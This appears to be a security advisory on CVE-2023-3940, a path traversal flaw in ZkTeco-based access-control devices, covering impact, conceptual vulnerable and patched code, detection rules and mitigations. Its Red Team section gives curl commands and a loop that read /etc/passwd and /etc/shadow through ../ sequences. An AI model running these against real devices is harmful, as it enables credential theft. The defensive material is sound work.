CVE-2023-3940

Executive Summary

CVE-2023-3940 is a Relative Path Traversal vulnerability (CWE-23) affecting ZkTeco-based OEM devices, including the ZkTeco ProFace X, Smartec ST-FR043, and Smartec ST-FR041ME. The flaw resides in the ZAM170-NF firmware version 1.8.25-7354-Ver1.0.0 and potentially other versions. An unauthenticated attacker can exploit this vulnerability to read arbitrary files on the device’s filesystem, leading to information disclosure of sensitive data such as configuration files, credentials, or biometric templates. The CVSS score is 7.5 (High), with a network attack vector and no authentication required. No public exploit code or proof-of-concept has been released, and the vendor has not issued a patch. This vulnerability poses a significant risk to physical security systems and access control infrastructure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on OEM physical access control devices.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full file read access.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote file disclosure, which can expose credentials, biometric data, and system configurations, enabling further attacks.

Deep Dive & Mechanics

The vulnerability is a Relative Path Traversal (also known as directory traversal) in the web interface or API of ZkTeco-based OEM devices. The device fails to properly sanitize user-supplied input when requesting files, allowing an attacker to use ../ sequences to escape the intended web root directory and access arbitrary files on the filesystem.

Root Cause: The application does not validate or restrict file paths provided in HTTP requests. For example, a request to /../../etc/passwd would return the contents of /etc/passwd instead of returning an error.

Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to the device’s web server or API endpoint that handles file retrieval. The server processes the path without normalization, allowing traversal outside the web root.

Impact: An attacker can read:

• System configuration files (e.g., /etc/shadow, /etc/passwd)
• Application configuration files (e.g., database credentials, API keys)
• Biometric templates or user databases
• Firmware binaries or scripts

This information can be used to compromise the device further or pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable file retrieval endpoint
@app.route('/getfile')
def get_file():
    filename = request.args.get('file')
    # No path validation
    with open('/var/www/' + filename, 'r') as f:
        return f.read()

Patched Code (Conceptual):

import os

@app.route('/getfile')
def get_file():
    filename = request.args.get('file')
    # Sanitize: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    # Restrict to a specific directory
    base_dir = '/var/www/files/'
    full_path = os.path.join(base_dir, safe_filename)
    # Ensure the resolved path is within base_dir
    if not os.path.realpath(full_path).startswith(os.path.realpath(base_dir)):
        return "Access denied", 403
    with open(full_path, 'r') as f:
        return f.read()

Key Differences:

• The patched code uses os.path.basename() to strip directory components.
• It restricts file access to a specific directory (/var/www/files/).
• It verifies that the resolved path is within the allowed directory using os.path.realpath().

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: ZkTeco ProFace X or Smartec ST-FR043 with firmware ZAM170-NF-1.8.25-7354-Ver1.0.0
• Attacker: Kali Linux or any system with curl/wget

Exploitation Steps:

1. Identify the device’s IP address (e.g., 192.168.1.100).
2. Test for path traversal:

   curl -v "http://192.168.1.100/../../etc/passwd"
   

3. If successful, retrieve sensitive files:

   curl "http://192.168.1.100/../../etc/shadow" -o shadow.txt
   curl "http://192.168.1.100/../../boot/grub/grub.cfg" -o grub.cfg
   

4. Automate with a script:

   for file in /etc/passwd /etc/shadow /etc/hostname /proc/version; do
       curl "http://192.168.1.100/../../$file" -o $(basename $file)
   done
   

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection & Response:

• Monitor HTTP requests for patterns containing ../ or ..%2f in URL parameters.
• Alert on requests to sensitive file paths (e.g., /etc/passwd, /etc/shadow).
• Use network segmentation to isolate these devices from untrusted networks.
• Implement Web Application Firewall (WAF) rules to block path traversal attempts.

Hunting Queries:

• Search logs for GET requests with ../ in the URI.
• Look for outbound connections from the device to unknown IPs after file access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests containing ../ or ..%2f in the path.
• Requests to endpoints like /getfile, /download, or /api/v1/file with traversal sequences.
• Outbound connections from the device to attacker-controlled IPs (if exfiltration occurs).

File IOCs:

• Unauthorized access to /etc/passwd, /etc/shadow, /etc/ssl/private/, or /var/www/ configuration files.
• Presence of unexpected files in the device’s web root (e.g., shadow.txt).

System IOCs:

• Unusual file read operations in audit logs.
• Changes to device configuration or firmware.

Detection Engineering

YARA Rule

rule CVE_2023_3940_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting ZkTeco devices"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-3940"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2023-3940 Path Traversal Attempt on ZkTeco Devices
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting ZkTeco OEM devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..%2f'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-3940 - ZkTeco Path Traversal Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"../";
    http_uri;
    pcre:"/\.\.\//i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., place them on a separate VLAN with strict firewall rules).
2. Disable unnecessary web interfaces or restrict access to trusted IPs only.
3. Implement a Web Application Firewall (WAF) with rules to block path traversal patterns (e.g., ../, ..%2f).

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from ZkTeco. Contact the vendor for a timeline.
• Custom Mitigation: If source code is available, implement input validation as shown in the patched code example.
• Upgrade: Replace affected devices with models that have proper input sanitization.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the device.
• Example Nginx rule:

  location / {
      if ($args ~* "\.\.") {
          return 403;
      }
  }
  

Monitoring: Continuously monitor logs for path traversal attempts and anomalous file access.

Valters IT
Securing Digital Frontiers